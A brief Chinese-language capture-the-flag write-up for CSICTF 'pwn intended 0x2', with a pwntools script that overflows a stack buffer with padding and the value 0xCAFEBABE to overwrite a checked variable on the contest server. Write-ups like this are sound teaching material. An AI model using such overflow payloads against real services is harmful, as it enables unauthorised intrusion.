【CSICTF】pwn intended 0x2 WriteUp

在上一题的基础上改进了一下，大体上没有多大区别

v5不再是要求不等于0了，而是要等于特定的值

from pwn import *
from LibcSearcher import *
from struct import pack

context.os='linux'
context.arch='amd64'
context.log_level='debug'

sd=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('chall.csivit.com',30007)
#io=process('./pwn-intended-0x2')
elf=ELF('./pwn-intended-0x2')

ra()
sl('a'*(0x30-4)+p32(0xCAFEBABE))

io.interactive()